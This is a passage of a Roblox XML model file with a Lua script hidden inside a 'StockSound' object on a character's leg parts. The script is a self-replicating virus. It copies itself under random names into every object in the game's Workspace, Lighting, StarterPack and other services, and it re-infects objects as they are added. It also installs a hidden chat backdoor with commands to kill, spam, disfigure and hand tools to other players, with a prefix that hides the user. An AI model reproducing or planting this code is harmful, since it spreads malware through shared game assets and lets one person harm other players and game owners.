if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX496">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-29.8315754</X>
								<Y>1.28031731</Y>
								<Z>118.826157</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX497">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3nnbu</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX498">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">el6h7e</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX499">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-30.1403713</X>
								<Y>1.28031731</Y>
								<Z>119.777283</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
